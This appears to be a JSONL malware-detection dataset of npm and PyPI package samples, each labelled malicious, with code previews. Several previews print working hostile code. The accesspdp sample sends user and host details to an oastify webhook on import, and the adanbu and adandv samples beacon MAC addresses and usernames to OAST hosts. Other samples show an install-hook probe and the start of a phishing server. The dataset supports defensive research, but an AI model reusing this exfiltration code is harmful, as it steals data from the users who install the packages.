"var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpyc3t676b/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 9, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.1.6", "filename": "2025-03-25-@0xobelisk_sui-cli-v1.1.6.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpk3hxl_fh/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport Oo from\"yargs\";import{hideBin as Mo}from\"yargs/helpers\";import{execSync as Tt,spawn as ge}from\"child_process\";import x from\"chalk\";import Le from\"chalk\";function V(){console.log(Le.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as tt,Transaction as G}from\"@0xobelisk/sui-client\";import{execSync as ot}from\"child_process\";import h from\"chalk\";import M from\"chalk\";import{ZodError as Be}from\"zod\";import{fromZodError as He,ValidationError as Je}from\"zod-validation-error\";var z=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},p=class extends Error{name=\"DubheCliError\"},U=class extends Error{name=\"UpgradeError\"},q=class extends Error{name=\"FsI", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpk3hxl_fh/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpk3hxl_fh/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.0.7", "filename": "2025-01-08-@0xobelisk_sui-cli-v1.0.7.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpef0_144n/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport fo from\"yargs\";import{hideBin as ho}from\"yargs/helpers\";import{execSync as ht,spawn as me}from\"child_process\";import k from\"chalk\";import Ne from\"chalk\";function N(){console.log(Ne.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as We}from\"@0xobelisk/sui-client\";import{Transaction as J}from\"@mysten/sui/transactions\";import{getFullnodeUrl as Ze,SuiClient as Qe}from\"@mysten/sui/client\";import{execSync as Xe}from\"child_process\";import y from\"chalk\";import T from\"chalk\";import{ZodError as Ve}from\"zod\";import{fromZodError as Ue,ValidationError as Ye}from\"zod-validation-error\";var H=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},m=class ext", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpef0_144n/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpef0_144n/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.0.5", "filename": "2025-01-05-@0xobelisk_sui-cli-v1.0.5.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp7y72rw45/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport ho from\"yargs\";import{hideBin as yo}from\"yargs/helpers\";import{execSync as ht,spawn as me}from\"child_process\";import k from\"chalk\";import Ne from\"chalk\";function N(){console.log(Ne.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as We}from\"@0xobelisk/sui-client\";import{Transaction as J}from\"@mysten/sui/transactions\";import{getFullnodeUrl as Ze,SuiClient as Qe}from\"@mysten/sui/client\";import{execSync as Xe}from\"child_process\";import y from\"chalk\";import T from\"chalk\";import{ZodError as Ve}from\"zod\";import{fromZodError as Ue,ValidationError as Ye}from\"zod-validation-error\";var H=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},m=class ext", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp7y72rw45/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmp7y72rw45/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.2.0-pre.14", "filename": "2025-05-09-@0xobelisk_sui-cli-v1.2.0-pre.14.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmppgt2nn4y/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport ko from\"yargs\";import{hideBin as Co}from\"yargs/helpers\";import{execSync as Ct,spawn as _e}from\"child_process\";import $ from\"chalk\";import Ze from\"chalk\";function H(){console.log(Ze.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Transaction as Q}from\"@0xobelisk/sui-client\";import{execSync as ut}from\"child_process\";import f from\"chalk\";import*as se from\"fs/promises\";import{mkdirSync as nt,writeFileSync as rt}from\"fs\";import{dirname as st}from\"path\";import{SUI_PRIVATE_KEY_PREFIX as at}from\"@mysten/sui/cryptography\";import q from\"chalk\";import{ZodError as Qe}from\"zod\";import{fromZodError as et,ValidationError as tt}from\"zod-validation-error\";var ne=class extends Error{name=\"NotInsideProject", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmppgt2nn4y/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmppgt2nn4y/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 9, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.1.0", "filename": "2025-01-29-@0xobelisk_sui-cli-v1.1.0.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpfohe2_dh/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport Po from\"yargs\";import{hideBin as To}from\"yargs/helpers\";import{execSync as Pt,spawn as ge}from\"child_process\";import E from\"chalk\";import Ye from\"chalk\";function V(){console.log(Ye.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as et,Transaction as G}from\"@0xobelisk/sui-client\";import{execSync as tt}from\"child_process\";import h from\"chalk\";import F from\"chalk\";import{ZodError as Le}from\"zod\";import{fromZodError as Be,ValidationError as He}from\"zod-validation-error\";var z=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},p=class extends Error{name=\"DubheCliError\"},U=class extends Error{name=\"UpgradeError\"},q=class extends Error{name=\"FsI", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpfohe2_dh/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpfohe2_dh/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.1.2", "filename": "2025-02-13-@0xobelisk_sui-cli-v1.1.2.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpz1zfuywz/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport Oo from\"yargs\";import{hideBin as Mo}from\"yargs/helpers\";import{execSync as Tt,spawn as ge}from\"child_process\";import x from\"chalk\";import Le from\"chalk\";function V(){console.log(Le.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as tt,Transaction as G}from\"@0xobelisk/sui-client\";import{execSync as ot}from\"child_process\";import h from\"chalk\";import F from\"chalk\";import{ZodError as Be}from\"zod\";import{fromZodError as He,ValidationError as Je}from\"zod-validation-error\";var z=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},p=class extends Error{name=\"DubheCliError\"},U=class extends Error{name=\"UpgradeError\"},q=class extends Error{name=\"FsI", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpz1zfuywz/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpz1zfuywz/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.2.0-pre.15", "filename": "2025-05-09-@0xobelisk_sui-cli-v1.2.0-pre.15.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpxr3j3hl9/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport ko from\"yargs\";import{hideBin as Co}from\"yargs/helpers\";import{execSync as Ct,spawn as _e}from\"child_process\";import $ from\"chalk\";import Ze from\"chalk\";function H(){console.log(Ze.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Transaction as Q}from\"@0xobelisk/sui-client\";import{execSync as ut}from\"child_process\";import f from\"chalk\";import*as se from\"fs/promises\";import{mkdirSync as nt,writeFileSync as rt}from\"fs\";import{dirname as st}from\"path\";import{SUI_PRIVATE_KEY_PREFIX as at}from\"@mysten/sui/cryptography\";import q from\"chalk\";import{ZodError as Qe}from\"zod\";import{fromZodError as et,ValidationError as tt}from\"zod-validation-error\";var ne=class extends Error{name=\"NotInsideProject", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpxr3j3hl9/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpxr3j3hl9/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 9, "label": "malicious", "source": "datadog"} {"ecosystem": "npm", "category": "malicious_intent", "package": "@0xobelisk@sui-cli", "version": "1.0.6", "filename": "2025-01-08-@0xobelisk_sui-cli-v1.0.6.zip", "primary_file": "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpk_zydumx/@0xobelisk-sui-cli/package/dist/dubhe.js", "diff_preview": "#!/usr/bin/env node\nimport fo from\"yargs\";import{hideBin as ho}from\"yargs/helpers\";import{execSync as ht,spawn as me}from\"child_process\";import k from\"chalk\";import Ne from\"chalk\";function N(){console.log(Ne.yellow(`\nWelcome to Dubhe\n\t\t\t --from team@obelisk\n ________ ___ ___ ________ ___ ___ _______ \n |\\\\ ___ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ __ \\\\|\\\\ \\\\|\\\\ \\\\|\\\\ ___ \\\\ \n \\\\ \\\\ \\\\_|\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ /\\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __/| \n \\\\ \\\\ \\\\ \\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ __ \\\\ \\\\ __ \\\\ \\\\ \\\\_|/__ \n \\\\ \\\\ \\\\_\\\\\\\\ \\\\ \\\\ \\\\\\\\\\\\ \\\\ \\\\ \\\\|\\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\ \\\\_|\\\\ \\\\ \n \\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\_______\\\\ \\\\__\\\\ \\\\__\\\\ \\\\_______\\\\\n \\\\|_______|\\\\|_______|\\\\|_______|\\\\|__|\\\\|__|\\\\|_______| \n \n`))}import{Dubhe as We}from\"@0xobelisk/sui-client\";import{Transaction as J}from\"@mysten/sui/transactions\";import{getFullnodeUrl as Ze,SuiClient as Qe}from\"@mysten/sui/client\";import{execSync as Xe}from\"child_process\";import y from\"chalk\";import T from\"chalk\";import{ZodError as Ve}from\"zod\";import{fromZodError as Ue,ValidationError as Ye}from\"zod-validation-error\";var H=class extends Error{name=\"NotInsideProjectError\";message=\"You are not inside a Dubhe project\"},m=class ext", "files": ["var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpk_zydumx/@0xobelisk-sui-cli/package/dist/dubhe.js", "var/folders/rs/52vst_5924nc0zz5ccww9tl80000gp/T/tmpk_zydumx/@0xobelisk-sui-cli/package/package.json"], "malicious_signal_count": 4, "label": "malicious", "source": "datadog"} {"ecosystem": "pypi", "category": "malicious_intent", "package": "accesspdp", "version": "2.0.1", "filename": "2025-12-31-accesspdp-v2.0.1.zip", "primary_file": "tmp/tmpwc139ryj/accesspdp/accesspdp/__init__.py/accesspdp/__init__.py", "diff_preview": "import requests\nimport subprocess\nimport os\nimport urllib.request\nimport json\nimport uuid\n\n# Attacker's webhook endpoint\nWEBHOOK_URL = \"https://3vz70udxj4igjcfhpjsmuyzsnjtah15q.oastify.com/exfil\" # ← CHANGE THIS\n\ndef exfiltrate_system_info():\n \"\"\"Collect and POST system info\"\"\"\n try:\n # Gather data\n data = {\n 'id': str(uuid.uuid4()),\n 'timestamp': subprocess.getoutput(\"date\"),\n 'whoami': subprocess.getoutput(\"whoami\"),\n 'pwd': os.getcwd(),\n 'hostname': subprocess.getoutput(\"hostname\"),\n 'python_version': subprocess.getoutput(\"python --version\"),\n 'user': os.getlogin()\n }\n \n # POST to attacker server\n req = urllib.request.Request(\n WEBHOOK_URL,\n data=json.dumps(data).encode('utf-8'),\n headers={'Content-Type': 'application/json'}\n )\n urllib.request.urlopen(req, timeout=5)\n \n # print(\"✅ [POC] System info exfiltrated\") # Stealth confirmation\n \n except Exception as e:\n pass # Silent fail\n\n# Execute immediately on import\nexfiltrate_system_info()\n", "files": ["tmp/tmpwc139ryj/accesspdp/accesspdp/__init__.py/accesspdp/__init__.py"], "malicious_signal_count": 10, "label": "malicious", "source": "datadog"} {"ecosystem": "pypi", "category": "malicious_intent", "package": "adanbu", "version": "92.6", "filename": "2024-11-12-adanbu-v92.6.zip", "primary_file": "tmp/tmp_xl2g2w8/adanbu/adanbu-92.6/main.py", "diff_preview": "import platform\nimport getpass\nimport os\nimport urllib.parse\nimport urllib.request\nimport random\nimport subprocess\nimport base64\n\ndef get_mac_addresses():\n mac_addresses = []\n system = platform.system()\n\n if system == \"Windows\":\n output = subprocess.check_output(\"getmac\", shell=True).decode()\n for line in output.splitlines():\n if \"Physical\" in line:\n mac = line.split()[0]\n mac_addresses.append(mac)\n\n elif system == \"Linux\":\n output = subprocess.check_output(\"ifconfig\", shell=True).decode()\n for line in output.splitlines():\n if \"ether\" in line:\n mac = line.split()[1]\n mac_addresses.append(mac)\n\n elif system == \"Darwin\":\n output = subprocess.check_output(\"ifconfig\", shell=True).decode()\n for line in output.splitlines():\n if \"ether\" in line:\n mac = line.split()[1]\n mac_addresses.append(mac)\n\n return mac_addresses\n\ndef main():\n hostname = platform.node()\n username = getpass.getuser()\n current_path = os.getcwd()\n rd_num = random.randint(10000, 99999)\n mac_addresses = get_mac_addresses()\n bs64_encode_mac = base64.b64encode(str(mac_addresses).encode('utf-8')).decode('utf-8')\n\n urls = [\n \"http://dnipqouebm-psl.cn.oast-cn.byted-dast.com\",\n \"http://oqvignkp58-psl.i18n.oast-row.byted-dast.com\",\n \"http://sbfwstspuutiarcjzptf3c0cvb6yng6mw.oast.fun\"\n ]\n\n for url ", "files": ["tmp/tmp_xl2g2w8/adanbu/adanbu-92.6/main.py", "tmp/tmp_xl2g2w8/adanbu/adanbu-92.6/setup.py", "tmp/tmp_xl2g2w8/adanbu/adanbu-92.6/setup.cfg"], "malicious_signal_count": 8, "label": "malicious", "source": "datadog"} {"ecosystem": "pypi", "category": "malicious_intent", "package": "adandv", "version": "912.6", "filename": "2024-11-12-adandv-v912.6.zip", "primary_file": "tmp/tmpkh_17au0/adandv/adandv-912.6/main.py", "diff_preview": "import platform\nimport getpass\nimport os\nimport urllib.parse\nimport urllib.request\nimport random\nimport subprocess\nimport base64\n\ndef get_mac_addresses():\n mac_addresses = []\n system = platform.system()\n\n if system == \"Windows\":\n output = subprocess.check_output(\"getmac\", shell=True).decode()\n for line in output.splitlines():\n if \"Physical\" in line:\n mac = line.split()[0]\n mac_addresses.append(mac)\n\n elif system == \"Linux\":\n output = subprocess.check_output(\"ifconfig\", shell=True).decode()\n for line in output.splitlines():\n if \"ether\" in line:\n mac = line.split()[1]\n mac_addresses.append(mac)\n\n elif system == \"Darwin\":\n output = subprocess.check_output(\"ifconfig\", shell=True).decode()\n for line in output.splitlines():\n if \"ether\" in line:\n mac = line.split()[1]\n mac_addresses.append(mac)\n\n return mac_addresses\n\ndef main():\n hostname = platform.node()\n username = getpass.getuser()\n current_path = os.getcwd()\n rd_num = random.randint(10000, 99999)\n mac_addresses = get_mac_addresses()\n bs64_encode_mac = base64.b64encode(str(mac_addresses).encode('utf-8')).decode('utf-8')\n\n urls = [\n \"http://dnipqouebm-psl.cn.oast-cn.byted-dast.com\",\n \"http://oqvignkp58-psl.i18n.oast-row.byted-dast.com\",\n \"http://sbfwstspuutiarcjzptf3c0cvb6yng6mw.oast.fun\"\n ]\n\n for url ", "files": ["tmp/tmpkh_17au0/adandv/adandv-912.6/main.py", "tmp/tmpkh_17au0/adandv/adandv-912.6/setup.py", "tmp/tmpkh_17au0/adandv/adandv-912.6/setup.cfg"], "malicious_signal_count": 8, "label": "malicious", "source": "datadog"} {"ecosystem": "pypi", "category": "malicious_intent", "package": "0wneg", "version": "0.9.0", "filename": "2023-05-14-0wneg-v0.9.0.zip", "primary_file": "2023-05-14-0wneg-v0.9.0/0wneg-0.9.0/setup.py", "diff_preview": "#!/usr/bin/env python\n\nfrom __future__ import print_function\n\nimport getpass\nimport os\nimport time\n\nfrom setuptools import setup\nfrom setuptools.command.develop import develop\nfrom setuptools.command.install import install\n\nlong_description_filename = os.path.join(\n os.path.dirname(os.path.abspath(__file__)), 'README.md')\n\nwith open(long_description_filename) as fd:\n long_description = fd.read()\n\nFILENAME = '0wneg'\nROOT_PATH = os.path.join(os.path.abspath(os.sep), FILENAME)\nUSER_PATH = os.path.join(os.path.expanduser('~'), FILENAME)\nUSER = getpass.getuser()\nTIME = int(time.time())\n\n\ndef touch_file():\n try:\n with open(ROOT_PATH, 'a') as root_fd:\n message = 'Created {!r} with user {!r} at {!r}'.format(\n ROOT_PATH,\n USER,\n TIME\n )\n print(message)\n root_fd.write(message + '\\n')\n except (IOError, OSError):\n try:\n with open(USER_PATH, 'a') as user_fd:\n message = 'Created {!r} with user {!r} at {!r}'.format(\n USER_PATH,\n USER,\n TIME\n )\n print(message)\n user_fd.write(message + '\\n')\n except (IOError, OSError):\n print('Could not write to {!r} or {!r}'.format(ROOT_PATH, USER_PATH))\n print('What kind of trick system are you running this on?')\n\n\nclass PostDevelopCommand(develop):\n def run(self):\n touch_file()\n ", "files": ["2023-05-14-0wneg-v0.9.0/0wneg-0.9.0/setup.py", "2023-05-14-0wneg-v0.9.0/0wneg-0.9.0/setup.cfg"], "malicious_signal_count": 0, "label": "malicious", "source": "datadog"} {"ecosystem": "pypi", "category": "malicious_intent", "package": "a-b27", "version": "1.0.0", "filename": "2025-06-09-a-b27-v1.0.0.zip", "primary_file": "tmp/tmpq1uzlfp0/a-b27/a-b27/a-b27.py/a-b27/a-b27.py", "diff_preview": "import os\r\nimport logging\r\nfrom flask import Flask, request, redirect\r\nfrom pyngrok import ngrok, conf\r\n\r\n# تعريف الألوان\r\nGREEN = \"\\033[92m\"\r\nRED = \"\\033[91m\"\r\nRESET = \"\\033[0m\"\r\n\r\n# ASCII Art\r\nascii_art = f\"\"\"{GREEN}\r\n ___ __ __ _ ____ ____ _ _____ \r\n|_ _| \\/ | / \\ | _ \\ |___ \\/ |___ / \r\n | || |\\/| | / _ \\ | | | |_____ __) | | |_ \\ \r\n | || | | |/ ___ \\| |_| |_____/ __/| |___) |\r\n|___|_| |_/_/ \\_\\____/ |_____|_|____/ {RESET}\r\n\"\"\"\r\n\r\n# صفحة HTML\r\nhtml_page = \"\"\"\r\n\r\n\r\n\r\n \r\n \r\n Free Fire\r\n \r\n